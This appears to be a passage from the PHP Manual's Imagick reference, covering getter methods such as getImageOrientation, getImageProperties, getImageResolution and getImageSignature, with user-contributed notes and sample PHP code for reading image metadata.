            $image_rendering_intent_evaluated = "Relative";
            break;
    }

        // Print Rendering Intent Values
        // ---------------------------------------------

    print("# $imagick_rendering_intent - $image_rendering_intent_evaluated");

?>


Returns the interpolation method

  • « Imagick::getImageInterlaceScheme
  • Imagick::getImageIterations »
  • PHP Manual
  • Imagick
  • Returns the interpolation method

Imagick::getImageInterpolateMethod

(PECL imagick 2.0.0)

Imagick::getImageInterpolateMethod — Returns the interpolation method

Description

int Imagick::getImageInterpolateMethod ( void )

Returns the interpolation method for the specified image. The method is one of the Imagick::INTERPOLATE_* constants.

Return Values

Returns the interpolate method on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Gets the image iterations

  • « Imagick::getImageInterpolateMethod
  • Imagick::getImageLength »
  • PHP Manual
  • Imagick
  • Gets the image iterations

Imagick::getImageIterations

(PECL imagick 2.0.0)

Imagick::getImageIterations — Gets the image iterations

Description

int Imagick::getImageIterations ( void )

Gets the image iterations.

Return Values

Returns the image iterations as an integer.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

holdoffhunger at gmail dot com 27-May-2012 08:22
By using the PHP function getImageIterations, you'll receive back a value indicating the animated nature of the image.  You'll get back a '0' for a still image that is not animated (like a .BMP or a .JPEG file) and a '1' for an animated image (like an animated .GIF file).

I have been unable to get any other results from this function, after extensive use.  There is some discussion among the ImageMagick user's group saying that the Iterations should indicate the number of times an animated .Gif file repeats itself.  However, it's possible that either modern browsers default the value to infinity or that this ImageMagick functionality is only available at the Linux command-line.  See more at the discussion group here: http://studio.imagemagick.org/pipermail/magick-users/2002-October/005814.html

And some sample code :

<?php

            // Author: holdoffhunger@gmail.com

        // Imagick Type
        // ---------------------------------------------

    $imagick_type = new Imagick();

        // Open File
        // ---------------------------------------------

    $file_to_grab = "image_workshop_directory/test.gif";

    $file_handle_for_viewing_image_file = fopen($file_to_grab, 'a+');

        // Grab File
        // ---------------------------------------------

    $imagick_type->readImageFile($file_handle_for_viewing_image_file);

        // Get Image Iterations
        //    (Detect Animated Image Versus Non-Animated Image)
        // ---------------------------------------------

    $image_iterations = $imagick_type->getImageIterations();

        // Print Iteration Value Interpreted
        // ---------------------------------------------

    if($image_iterations == 1)
    {
        print("$file_to_grab *IS* an animated image.");
    }
    else
    {
        print("$file_to_grab *IS NOT* an animated image.");
    }

?>


Returns the image length in bytes

  • « Imagick::getImageIterations
  • Imagick::getImageMagickLicense »
  • PHP Manual
  • Imagick
  • Returns the image length in bytes

Imagick::getImageLength

(PECL imagick 2.0.0)

Imagick::getImageLength — Returns the image length in bytes

Description

int Imagick::getImageLength ( void )

Returns the image length in bytes

Return Values

Returns an int containing the current image size.

Examples

Example #1 Using Imagick::getImageLength():

Getting image length in bytes

<?php
$image = new Imagick('test.jpg');
echo $image->getImageLength() . ' bytes';
?>

User Contributed Notes

There are no user contributed notes for this page.


Returns a string containing the ImageMagick license

  • « Imagick::getImageLength
  • Imagick::getImageMatte »
  • PHP Manual
  • Imagick
  • Returns a string containing the ImageMagick license

Imagick::getImageMagickLicense

(PECL imagick 2.0.0)

Imagick::getImageMagickLicense — Returns a string containing the ImageMagick license

Description

string Imagick::getImageMagickLicense ( void )

Returns a string containing the ImageMagick license

Return Values

Returns a string containing the ImageMagick license.

User Contributed Notes

There are no user contributed notes for this page.


Return if the image has a matte channel

  • « Imagick::getImageMagickLicense
  • Imagick::getImageMatteColor »
  • PHP Manual
  • Imagick
  • Return if the image has a matte channel

Imagick::getImageMatte

(PECL imagick 2.0.0)

Imagick::getImageMatte — Return if the image has a matte channel

Description

bool Imagick::getImageMatte ( void )

Returns TRUE if the image has a matte channel otherwise false. This method is available if Imagick has been compiled against ImageMagick version 6.2.9 or newer.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Returns the image matte color

  • « Imagick::getImageMatte
  • Imagick::getImageOrientation »
  • PHP Manual
  • Imagick
  • Returns the image matte color

Imagick::getImageMatteColor

(PECL imagick 2.0.0)

Imagick::getImageMatteColor — Returns the image matte color

Description

ImagickPixel Imagick::getImageMatteColor ( void )

Returns the image matte color.

Return Values

Returns ImagickPixel object on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Gets the image orientation

  • « Imagick::getImageMatteColor
  • Imagick::getImagePage »
  • PHP Manual
  • Imagick
  • Gets the image orientation

Imagick::getImageOrientation

(PECL imagick 2.0.0)

Imagick::getImageOrientation — Gets the image orientation

Description

int Imagick::getImageOrientation ( void )

Gets the image orientation. The return value is one of the orientation constants.

Return Values

Returns an int on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

orrd101 at yahoo dot com 21-Feb-2013 06:23
Here's how you can use the getImageOrientation() information to auto-rotate images to their correct orientation...

<?php
// Note: $image is an Imagick object, not a filename! See example use below.
function autoRotateImage($image) {
    $orientation = $image->getImageOrientation();

    switch($orientation) {
        case imagick::ORIENTATION_BOTTOMRIGHT:
            $image->rotateimage("#000", 180); // rotate 180 degrees
        break;

        case imagick::ORIENTATION_RIGHTTOP:
            $image->rotateimage("#000", 90); // rotate 90 degrees CW
        break;

        case imagick::ORIENTATION_LEFTBOTTOM:
            $image->rotateimage("#000", -90); // rotate 90 degrees CCW
        break;
    }

    // Now that it's auto-rotated, make sure the EXIF data is correct in case the EXIF gets saved with the image!
    $image->setImageOrientation(imagick::ORIENTATION_TOPLEFT);
}
?>

Example use:

<?php
$image = new Imagick('my-image-file.jpg');
autoRotateImage($image);
// - Do other stuff to the image here -
$image->writeImage('result-image.jpg');
?>
holdoffhunger at gmail dot com 01-Jul-2012 11:54
Using the getImageOrientation function, you'll get the Orientation value for an image as defined within the EXIF file format.  That means you will get back an integer representation one of the Orientation constants for ImageMagick, which looks like " imagick::ORIENTATION_UNDEFINED", with "_VALUE" values of: undefined (0), topleft (1), topright (2), bottomright (3), bottomleft (4), lefttop (5), righttop (6), rightbottom (7), and leftbottom (8).  When printed out directly, these predefined constants produce the number in parenthesis.  The undefined being set to 0 makes sense, since -- according to Wikipedia -- EXIF allows for eight possible values for an image (and not every image has a set of EXIF properties).

The EXIF Orientation is also called "the Rotation," again, according to Wikipedia: http://en.wikipedia.org/wiki/Exchangeable_image_file_format .  What's the point of that?  According to the official ImageMagick documentation, it's to rotate a photograph so that it is properly oriented after the shot.  This really seems to be a camera thing, since the ImageMagick documentation mentions: "If you pointed your camera almost straight up or down, the EXIF orientation setting may not resolve correctly. The same goes for angled or slanted shots. The orientation (and cameras) just have no senses for these situations." ( http://www.imagemagick.org/Usage/photos/ )

If you're having trouble getting this function to show the value for Image Orientation, then use the function and parameters of getImageProperties('*', FALSE); .  This produces an array of all properties associated with an image, and one of them will have the key value of exif:Orientation.  If it doesn't, then that means you will be getting back a zero from this function, indicating an "Undefined" orientation.

Some sample code :

<?php

            // Author: holdoffhunger@gmail.com

        // Imagick Type
        // ---------------------------------------------

    $imagick_type = new Imagick();

        // Open File
        // ---------------------------------------------

    $file_to_grab = "image_workshop_directory/test.jpg";

    $file_handle_for_viewing_image_file = fopen($file_to_grab, 'a+');

        // Grab File
        // ---------------------------------------------

    $imagick_type->readImageFile($file_handle_for_viewing_image_file);

        // Get Orientation Values
        // ---------------------------------------------

    $imagick_orientation = $imagick_type->getImageOrientation();

    switch($imagick_orientation)
    {
        case '0':
            $imagick_orientation_evaluated = "Undefined";
            break;

        case '1':
            $imagick_orientation_evaluated = "Top-Left";
            break;

        case '2':
            $imagick_orientation_evaluated = "Top-Right";
            break;

        case '3':
            $imagick_orientation_evaluated = "Bottom-Right";
            break;

        case '4':
            $imagick_orientation_evaluated = "Bottom-Left";
            break;

        case '5':
            $imagick_orientation_evaluated = "Left-Top";
            break;

        case '6':
            $imagick_orientation_evaluated = "Right-Top";
            break;

        case '7':
            $imagick_orientation_evaluated = "Right-Bottom";
            break;

        case '8':
            $imagick_orientation_evaluated = "Left-Bottom";
            break;
    }

        // Print Orientation Values
        // ---------------------------------------------

    print("# $imagick_orientation - $imagick_orientation_evaluated");

?>


Returns the page geometry

  • « Imagick::getImageOrientation
  • Imagick::getImagePixelColor »
  • PHP Manual
  • Imagick
  • Returns the page geometry

Imagick::getImagePage

(PECL imagick 2.0.0)

Imagick::getImagePage — Returns the page geometry

Description

array Imagick::getImagePage ( void )

Returns the page geometry associated with the image in an array with the keys "width", "height", "x", and "y".

Return Values

Returns the page geometry associated with the image in an array with the keys "width", "height", "x", and "y".

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

holdoffhunger at gmail dot com 29-May-2012 07:53
The PHP function 'getImagePage' will return values indicating the height and width of an image, just like the getHeight and getWidth, except these values are returned as an array.  There's also two other values returned in the array with the key values of 'x' and 'y'.  After running this function on animated .Gif's, super-compressed jpeg's, bmp's, png's, and every type of awkward file format you could think of, I kept getting back the result of '0' for both the 'x' and 'y' associated values in the returned array.  It's likely that these indicate the "start-positions" of the width and height, compared to the "end-values" you receive for accessing the values associated with the keys 'width' and 'height'.

Oddly enough, the PHP function 'getPage' will return an array with the same exact keys, except the values all default to '0', making it much less useful than the function 'getImagePage'.

And some sample code :

<?php

            // Author: holdoffhunger@gmail.com

        // Imagick Type
        // ---------------------------------------------

    $imagick_type = new Imagick();

        // Open File
        // ---------------------------------------------

    $file_to_grab = "image_workshop_directory/test.gif";

    $file_handle_for_viewing_image_file = fopen($file_to_grab, 'a+');

        // Grab File
        // ---------------------------------------------

    $imagick_type->readImageFile($file_handle_for_viewing_image_file);

        // Get Image Page
        // ---------------------------------------------

    $image_page = $imagick_type->getImagePage();

        // Print Iteration Value Interpreted
        // ---------------------------------------------

    print_r($image_page);

?>

Expected Result :

Array
(
    [width] => 600
    [height] => 450
    [x] => 0
    [y] => 0
)


Returns the color of the specified pixel

  • « Imagick::getImagePage
  • Imagick::getImageProfile »
  • PHP Manual
  • Imagick
  • Returns the color of the specified pixel

Imagick::getImagePixelColor

(PECL imagick 2.0.0)

Imagick::getImagePixelColor — Returns the color of the specified pixel

Description

ImagickPixel Imagick::getImagePixelColor ( int $x , int $y )

Returns the color of the specified pixel.

Parameters

x

The x-coordinate of the pixel

y

The y-coordinate of the pixel

Return Values

Returns an ImagickPixel instance for the color at the coordinates given.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

sheldon at hyperlinked dot com 19-Jul-2012 08:57
I'm sure there are a lot of people like me who have been wondering, "How you manage to produce a human readable output of this operation?"

<?php
$image = new Imagick('testimage.jpg');

$x = 1;
$y = 1;
$pixel = $image->getImagePixelColor($x, $y);
?>

If you try to print an output of the $pixel object, you get nothing. You have to use one of the ImagickPixel operations to get back a value.

You can do either of the following:

<?php
$colors = $pixel->getColor();
print_r($colors); // produces Array([r]=>255,[g]=>255,[b]=>255,[a]=>1);

$pixel->getColorAsString(); // produces rgb(255,255,255);
?>

The place where I was getting hung up was how to get the data that was captured in the Imagick::getImagePixelColor operation into an ImagickPixel object. I was trying to find ways of passing the value to a newly instantiated ImagickPixel object. Well, it appears that once you've captured your color data using Imagick::getImagePixelColor, what's returned IS an ImagickPixel object!

As a further note, you do not need to convert this to a human readable format if you just want to take a color sample at a single point on your image to plug into another operation.

For example, if you wanted to perform a flood fill effect on a certain color you could plug in the instance of the ImagickPixel object directly.

The following fill perform a flood fill effect at coordinates 1,1 on your image using Green as the fill color and the color sampled at 1,1 as the target color to fill.

<?php
$hexcolor = '#00ff00';
$fuzz = '4000';
$x = 1;
$y = 1;
$pixel = $image->getImagePixelColor($x, $y);
$image->floodfillPaintImage($hexcolor, $fuzz, $pixel, $x, $y, false);
?>


Returns the named image profile

  • « Imagick::getImagePixelColor
  • Imagick::getImageProfiles »
  • PHP Manual
  • Imagick
  • Returns the named image profile

Imagick::getImageProfile

(PECL imagick 2.0.0)

Imagick::getImageProfile — Returns the named image profile

Description

string Imagick::getImageProfile ( string $name )

Returns the named image profile.

Parameters

name

The name of the profile to return.

Return Values

Returns a string containing the image profile.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Returns the image profiles

  • « Imagick::getImageProfile
  • Imagick::getImageProperties »
  • PHP Manual
  • Imagick
  • Returns the image profiles

Imagick::getImageProfiles

(PECL imagick 2.0.0)

Imagick::getImageProfiles — Returns the image profiles

Description

array Imagick::getImageProfiles ([ string $pattern = "*" [, bool $only_names = true ]] )

Returns all associated profiles that match the pattern. If TRUE is passed as second parameter only the profile names are returned. This method is available if Imagick has been compiled against ImageMagick version 6.3.6 or newer.

Parameters

pattern

The pattern for profile names.

only_names

Whether to return only profile names. If FALSE then values are returned as well

Return Values

Returns an array containing the image profiles or profile names.

User Contributed Notes

There are no user contributed notes for this page.


Returns the image properties

  • « Imagick::getImageProfiles
  • Imagick::getImageProperty »
  • PHP Manual
  • Imagick
  • Returns the image properties

Imagick::getImageProperties

(PECL imagick 2.0.0)

Imagick::getImageProperties — Returns the image properties

Description

array Imagick::getImageProperties ([ string $pattern = "*" [, bool $only_names = true ]] )

Returns all associated properties that match the pattern. If TRUE is passed as second parameter only the property names are returned. This method is available if Imagick has been compiled against ImageMagick version 6.3.6 or newer.

Parameters

pattern

The pattern for property names.

only_names

Whether to return only property names. If FALSE then also the values are returned

Return Values

Returns an array containing the image properties or property names.

Examples

Example #1 Using Imagick::getImageProperties():

An example of extracting EXIF information.

<?php

/* Create the object */
$im = new imagick("/path/to/example.jpg");

/* Get the EXIF information */
$exifArray = $im->getImageProperties("exif:*");

/* Loop trough the EXIF properties */
foreach ($exifArray as $name => $property)
{
    echo "{$name} => {$property}<br />\n";
}

?>

User Contributed Notes

benkuhl at gmail dot com 25-Jan-2013 03:40
The output of this method on a PDF:

Array
        (
            [date:create] => 2013-01-24T13:27:37-05:00
            [date:modify] => 2013-01-24T13:27:37-05:00
            [pdf:HiResBoundingBox] => 1089x396+0+0
            [pdf:SpotColor-0] => PANTONE 697 C
            [pdf:SpotColor-1] => Black
            [pdf:SpotColor-10] => PANTONE 504 M C
            [pdf:SpotColor-2] => Strike_Thru
            [pdf:SpotColor-3] => PANTONE 7421 C
            [pdf:SpotColor-4] => PANTONE 697 C
            [pdf:SpotColor-5] => PANTONE 873 C
            [pdf:SpotColor-6] => PANTONE 504 M C
            [pdf:SpotColor-7] => Die
            [pdf:SpotColor-8] => PANTONE 697 C
            [pdf:SpotColor-9] => PANTONE 504 M C
            [pdf:Version] => PDF-1.5
            [signature] => 4d871b27b26537c523326f92454ecb2e19fa9e0e86e2a075f97354ad4f3bf122
        )
holdoffhunger at gmail dot com 20-May-2012 08:29
The getImageProperties function in PHP returns an array of property keys available for an image.  To get these property values, you use getImageProperty function, giving it one of the available keys provided by the getImageProperties function result.  For some images, you may have a lot of properties and for some, you may have few.  The two that almost every image seems to have are "date:create" and "date:modify", but some images may have forty or more properties, some titled "exif:Compression", "photoshop:Credit", "jpeg:colorspace", "rdf:Alt", "stRef:documentID", and "xap:CreatorTool."  PNG files will also have properties like "png:IHDR.bit_depth" and "png:IHDR.width,height."  So far, it appears generally that GIF and BMP files, being simpler, have fewer properties, whereas JPEG and PNG files, being more complicated, have much wider array of properties.  It seems incredibly useful in document management.

And now, some sample code and results :

<?php

            // Author: holdoffhunger@gmail.com

        // Imagick Type
        // ---------------------------------------------

    $imagick_type = new Imagick();

        // Open File
        // ---------------------------------------------

    $file_to_grab = "image_workshop_directory/test.png";

    $file_handle_for_viewing_image_file = fopen($file_to_grab, 'a+');

        // Grab File
        // ---------------------------------------------

    $imagick_type->readImageFile($file_handle_for_viewing_image_file);

        // Get Image Properties
        // ---------------------------------------------

    $imagick_type_properties = $imagick_type->getImageProperties('*', FALSE);

        // Print Image Properties
        // ---------------------------------------------

    print("<pre>");

    print_r($imagick_type_properties);

        // Print Each Individual, Image Property
        // ---------------------------------------------

    foreach($imagick_type_properties as $value)
    {
        print("$value --- ");
        print($imagick_type->getImageProperty("$value"));
        print("<br><br>");
    }

    print("</pre>");

?>

Results of this done on a standard PNG image :

Array
(
    [0] => date:create
    [1] => date:modify
    [2] => png:cHRM
    [3] => png:gAMA
    [4] => png:IHDR.bit_depth
    [5] => png:IHDR.color_type
    [6] => png:IHDR.interlace_method
    [7] => png:IHDR.width,height
    [8] => png:sRGB
)
date:create --- 2012-05-19T18:26:45-05:00

date:modify --- 2012-05-19T18:26:45-05:00

png:cHRM                  --- chunk was found (see Chromaticity, above)

png:gAMA                  --- gamma=0.45455 (See Gamma, above)

png:IHDR.bit_depth        --- 8

png:IHDR.color_type       --- 2

png:IHDR.interlace_method --- 0

png:IHDR.width,height     --- 320, 320

png:sRGB                  --- intent=0 (See Rendering intent)
www dot query at gmail dot com 08-Sep-2011 08:58
To access a photograph's EXIF data an alternative method is the normal PHP Exif function.

<?php

        $exif_data = exif_read_data($pic1);
        $edate = $exif_data['DateTime'];

?>

See: http://php.net/manual/en/book.exif.php
mhufford 03-Aug-2009 11:03
ImageMagick only supports setting a very small number of EXIF properties.

See http://www.imagemagick.org/discourse-server/viewtopic.php?t=14234


Returns the named image property

  • « Imagick::getImageProperties
  • Imagick::getImageRedPrimary »
  • PHP Manual
  • Imagick
  • Returns the named image property

Imagick::getImageProperty

(PECL imagick 2.0.0)

Imagick::getImageProperty — Returns the named image property

Description

string Imagick::getImageProperty ( string $name )

Returns the named image property. This method is available if Imagick has been compiled against ImageMagick version 6.3.2 or newer.

Parameters

name

name of the property (for example Exif:DateTime)

Examples

Example #1 Using Imagick::getImageProperty():

Setting and getting image property

<?php
$image = new Imagick();
$image->newImage(300, 200, "black");

$image->setImageProperty('Exif:Make', 'Imagick');
echo $image->getImageProperty('Exif:Make');
?>

See Also

  • Imagick::setImageProperty() - Sets an image property

Return Values

Returns a string containing the image property, false if a property with the given name does not exist.

User Contributed Notes

Paul Janik 08-Sep-2011 09:00
To access a photograph's EXIF data, an alternative method is the normal PHP Exif function.

<?php

        $exif_data = exif_read_data($pic1);
        $edate = $exif_data['DateTime'];

?>

See: http://php.net/manual/en/book.exif.php


Returns the chromaticity red primary point

  • « Imagick::getImageProperty
  • Imagick::getImageRegion »
  • PHP Manual
  • Imagick
  • Returns the chromaticity red primary point

Imagick::getImageRedPrimary

(PECL imagick 2.0.0)

Imagick::getImageRedPrimary — Returns the chromaticity red primary point

Description

array Imagick::getImageRedPrimary ( void )

Returns the chromaticity red primary point as an array with the keys "x" and "y".

Return Values

Returns the chromaticity red primary point as an array with the keys "x" and "y". Throw an ImagickException on error.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Extracts a region of the image

  • « Imagick::getImageRedPrimary
  • Imagick::getImageRenderingIntent »
  • PHP Manual
  • Imagick
  • Extracts a region of the image

Imagick::getImageRegion

(PECL imagick 2.0.0)

Imagick::getImageRegion — Extracts a region of the image

Description

Imagick Imagick::getImageRegion ( int $width , int $height , int $x , int $y )

Extracts a region of the image and returns it as a new Imagick object.

Parameters

width

The width of the extracted region.

height

The height of the extracted region.

x

X-coordinate of the top-left corner of the extracted region.

y

Y-coordinate of the top-left corner of the extracted region.

Return Values

Extracts a region of the image and returns it as a new wand.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

zolcos at hotmail dot com 22-Jul-2009 11:45
getImageRegion has the same side effect that was mentioned for operations that change the crop of the image -- the new image preserves the old canvas and positioning info. For example, using annotateImage on the new image will interpret the positioning arguments relative to the old image. To correct it, reset this info with setImagePage.

<?php
$im->setImagePage(0, 0, 0, 0);
?>


Gets the image rendering intent

  • « Imagick::getImageRegion
  • Imagick::getImageResolution »
  • PHP Manual
  • Imagick
  • Gets the image rendering intent

Imagick::getImageRenderingIntent

(PECL imagick 2.0.0)

Imagick::getImageRenderingIntent — Gets the image rendering intent

Description

int Imagick::getImageRenderingIntent ( void )

Gets the image rendering intent.

Return Values

Returns the image rendering intent.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

holdoffhunger at gmail dot com 03-Jul-2012 03:19
The Rendering Intent variable exists in ImageMagick to provide support for ICC Color Profiles.  There are five results that one can expect to get from the getRenderingIntent function, which are the predefined constants for Rendering Intent within ImageMagick.  These values look like "imagick::RENDERINGINTENT_UNDEFINED", with "_VALUE" values of: undefined, saturation, perceptual, absolute, and relative.  Printed out, Undefined is 0, Saturation is 1, Perceptual is 2, Absolute is 3, and Relative is 4.

The official ImageMagick documentation provides good light on what these values indicate. ( http://www.imagemagick.org/RMagick/doc/constants.html#RenderingIntent )  Undefined means "no intent," Saturation means "A rendering intent that specifies the saturation of the pixels in the image is preserved perhaps at the expense of accuracy in hue and lightness," Perceptual Intent means "A rendering intent that specifies the full gamut of the image is compressed or expanded to fill the gamut of the destination device. Gray balance is preserved but colorimetric accuracy might not be preserved," Absolute Intent means "Absolute colorimetric," and Relative Intent means "Relative colorimetric."

Every time I ran this function, it always produced the same result: #2, indicating Perceptual Intent.  But this makes sense, since the ImageMagick documentation notes about the Rendering Intent, "Typically, the user or application will set the rendering intent dynamically at runtime or embedding time."  The ImageMagick documentation also recommended the following link to better understand Rendering Intent in terms of Colorspace Profiles: http://www.cambridgeincolour.com/tutorials/color-space-conversion.htm .

Some sample code :

<?php

            // Author: holdoffhunger@gmail.com

        // Imagick Type
        // ---------------------------------------------

    $imagick_type = new Imagick();

        // Open File
        // ---------------------------------------------

    $file_to_grab = "image_workshop_directory/test.jpg";

    $file_handle_for_viewing_image_file = fopen($file_to_grab, 'a+');

        // Grab File
        // ---------------------------------------------

    $imagick_type->readImageFile($file_handle_for_viewing_image_file);

        // Get Rendering Intent Values
        // ---------------------------------------------

    $imagick_rendering_intent = $imagick_type->getImageRenderingIntent();

    switch($imagick_rendering_intent)
    {
        case '0':
            $image_rendering_intent_evaluated = "Undefined";
            break;

        case '1':
            $image_rendering_intent_evaluated = "Saturation";
            break;

        case '2':
            $image_rendering_intent_evaluated = "Perceptual";
            break;

        case '3':
            $image_rendering_intent_evaluated = "Absolute";
            break;

        case '4':
            $image_rendering_intent_evaluated = "Relative";
            break;
    }

        // Print Rendering Intent Values
        // ---------------------------------------------

    print("# $imagick_rendering_intent - $image_rendering_intent_evaluated");

?>


Gets the image X and Y resolution

  • « Imagick::getImageRenderingIntent
  • Imagick::getImagesBlob »
  • PHP Manual
  • Imagick
  • Gets the image X and Y resolution

Imagick::getImageResolution

(PECL imagick 2.0.0)

Imagick::getImageResolution — Gets the image X and Y resolution

Description

array Imagick::getImageResolution ( void )

Gets the image X and Y resolution.

Return Values

Returns the resolution as an array.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

christian at cvj dot se 21-Feb-2014 08:48
For me getImageResolution() always returns X and Y resolution in pixels per centimeter, no matter if I set it with setImageUnits() or not.

So an easy way to convert the result from pixels per centimeter to pixels per inch is to do this:

<?php
$resource = new Imagick($path);
$imageResolution = $resource->getImageResolution();

if (!empty($imageResolution['y'])) {
$imageResolution['y'] =
                            round($imageResolution['y'] * 2.54, 2);
}

if (!empty($imageResolution['x'])) {
$imageResolution['x'] =
                            round($imageResolution['x'] * 2.54, 2);
}

?>
Alex 27-Sep-2013 07:00
Here is simple code snippet to get image DPI:
<?php
$img = new imagick( 'file.jpg' );
print_r($img->getImageResolution()); // Array ( [x] => 72 [y] => 72 )

?>
Simon Epskamp 20-Sep-2013 05:30
Please note that this method seems to return the image density, or DPI, not it's output resolution. If you want the output resolution, please refer to Imagick::getImageGeometry: http://www.php.net/manual/en/imagick.getimagegeometry.php

See http://www.imagemagick.org/Usage/basics/#density for more infomation on the difference.
Shawn Pyle 18-Apr-2011 09:53
As of the following versions, the results of this function returns the x and y resolution as floats.

desktop:~$ convert --version
Version: ImageMagick 6.6.9-1 2011-04-14 Q8 http://www.imagemagick.org
Copyright: Copyright (C) 1999-2011 ImageMagick Studio LLC
Features: OpenMP OpenCL

desktop:~$ pecl list
Installed packages, channel pecl.php.net:
==========================
Package Version State
imagick 3.0.1   stable

desktop:~$ php --version
PHP 5.3.5 (cli) (built: Mar  1 2011 12:57:53)
Copyright (c) 1997-2010 The PHP Group
Zend Engine v2.3.0, Copyright (c) 1998-2010 Zend Technologies
    with Xdebug v2.1.0, Copyright (c) 2002-2010, by Derick Rethans
perching_eagle at yahoo dot com 05-Oct-2007 03:14
//location of image: c:/htdocs/rose.jpg
$path="c:/htdocs/";
$image=new Imagick($path."rose.jpg");
$array=$image->getImageResolution();
print_r($array);

result:
Array
(
    [x]=>75
    [y]=>75
)


Returns all image sequences as a blob

  • « Imagick::getImageResolution
  • Imagick::getImageScene »
  • PHP Manual
  • Imagick
  • Returns all image sequences as a blob

Imagick::getImagesBlob

(PECL imagick 2.0.0)

Imagick::getImagesBlob — Returns all image sequences as a blob

Description

string Imagick::getImagesBlob ( void )

Implements direct to memory image formats. It returns all image sequences as a string. The format of the image determines the format of the returned blob (GIF, JPEG, PNG, etc.). To return a different image format, use Imagick::setImageFormat().

Return Values

Returns a string containing the images. On failure, throws ImagickException.

User Contributed Notes

There are no user contributed notes for this page.


Gets the image scene

  • « Imagick::getImagesBlob
  • Imagick::getImageSignature »
  • PHP Manual
  • Imagick
  • Gets the image scene

Imagick::getImageScene

(PECL imagick 2.0.0)

Imagick::getImageScene — Gets the image scene

Description

int Imagick::getImageScene ( void )

Gets the image scene.

Return Values

Returns the image scene.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Generates an SHA-256 message digest

  • « Imagick::getImageScene
  • Imagick::getImageSize »
  • PHP Manual
  • Imagick
  • Generates an SHA-256 message digest

Imagick::getImageSignature

(PECL imagick 2.0.0)

Imagick::getImageSignature — Generates an SHA-256 message digest

Description

string Imagick::getImageSignature ( void )

Generates an SHA-256 message digest for the image pixel stream.

Return Values

Returns a string containing the SHA-256 hash of the file.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

barrerasalom at gmail dot com 15-Oct-2013 11:15
Please take that note tha different versions of ImageMagick could create different signatures, even when working with the same image.
vojtech at kral dot hk 27-Mar-2013 09:39
Well the SHA-2 digest returned by this function IS different from what you get when you hash the file, because this funtions hashesh the pixels themselves.

This is very useful when you need to identify identical images, because if you just hash the files, you may get different hashes even if the image is the same pixel by pixel because of differences in metadata or different format (ie PNG vs BMP) or perhaps stray bytes at the end of file etc...

There is no point in posting code that hashes files, that is completely irrelevant here.

Also, I doubt you really need to pick a different hashing algo, SHA-2 should be perfectly fine for this job.
holdoffhunger at gmail dot com 26-Jun-2012 08:51
The getImageSignature function for the ImageMagick package in PHP returns only the SHA-1 hash value for an image.  There are not any other algorithms available for it within the ImageMagick package, but fortunately, this is PHP and you have a wide array of hashing algorithms to use on any image file.  The function hash_algos() will return an array of hashing algorithms available in PHP and the function hash_file() will take three parameters (one for the algorithm to use, one for the filename, and an optional variable for binary output).  Instead of being limited to the SHA-1 algorithm of the getImageSignature function, you could use SHA-256, SHA-384, SHA-512, Whirlpool, HAVAL, Salsa, Gost, Adler32, CRC32, or MD5, among others and variations of these.

However, the SHA-1 result of the hash_file() function performed on a file does not return the same result as the SHA-1 of the getImageSignature() function.  This leads me to believe that the SHA-1 of the getImageSignature() might be performed on the Imagick object itself, instead of the file, whereas the hash_file() function is clearly performed on the file itself.  That's just a guess, though.

Some sample code for the alternate hashing algorithm, with every algorithm performed on the image file :

<?php

            // Author: holdoffhunger@gmail.com

        // Set File for Hashing Function
        // ---------------------------------------------------

    $filename_with_folder_for_hashing = "image_workshop/test_file.bmp";

        // Acquire Dynamic Hashing Algorithm List
        // ---------------------------------------------------

    $php_dynamic_hash_algorithms = hash_algos();

        // Count Dynamic Hashing Algorithm List
        // ---------------------------------------------------

    $number_of_dynamic_hash_algorithms = count($php_dynamic_hash_algorithms);

        // Parse Dynamic Hashing Algorithm List
        // ---------------------------------------------------

    for($i = 0; $i < $number_of_dynamic_hash_algorithms; $i++)
    {
            // Get Current Hashing Algorithm
            // ---------------------------------------------------

        $current_hashing_algorithm = $php_dynamic_hash_algorithms[$i];

            // Perform Hashing on File
            // ---------------------------------------------------

        $current_hashing_algorithm_hex_result = hash_file($current_hashing_algorithm, $filename_with_folder_for_hashing, FALSE);

            // Print Hashed Results
            // ---------------------------------------------------

        print("$current_hashing_algorithm Algorithm ::: $current_hashing_algorithm_hex_result");
        print("<br><br>");
    }

?>

    Example Results:
    ...........................

md2 Algorithm ::: 03205df9c6717d74f1f003c66f58e98a

md4 Algorithm ::: b2a204a2e5c3968d2abd5dc372fbee10

md5 Algorithm ::: b9d92a61714b221d24c7730d4764ca82

sha1 Algorithm ::: 8db4c92346c26568b13ea43fbcf514e37942a41a

(and so on for 34 more algorithms)...
holdoffhunger at gmail dot com 21-May-2012 07:30
The getImageSignature function returns the SHA-256 hash value, which is 256 bits (or 32 bytes) in length.  SHA-256 is part of the SHA-2 set of cryptographic hash functions designed by the NSA, which also includes SHA-224, SHA-384, and SHA-512.  According to Wikipedia, there are some security flaws in it similar to the set of SHA-1 hash functions, which should be fixed with SHA-3, eventually.  Unlike MD5 or the SHA-1 set of cryptographic functions, SHA-2 has had no collisions discovered yet (a collision is an incident where two different pieces of data result in the same hash value from the hashing function).  For the time being, it seems to be the most efficient method for creating a small (32-byte), uniquely-identifiable, generally-secure value for either a file or a piece of data.

Some sample code :

<?php

            // Author: holdoffhunger@gmail.com

        // Imagick Type
        // ---------------------------------------------

    $imagick_type = new Imagick();

        // Open File
        // ---------------------------------------------

    $file_to_grab = "image_workshop_directory/test.bmp";

    $file_handle_for_viewing_image_file = fopen($file_to_grab, 'a+');

        // Grab File
        // ---------------------------------------------

    $imagick_type->readImageFile($file_handle_for_viewing_image_file);

        // Get Image SHA-256 Signature / Hash Value
        // ---------------------------------------------

    $imagick_type_signature = $imagick_type->getImageSignature();

        // Print Image Signature / Hash Value
        // ---------------------------------------------

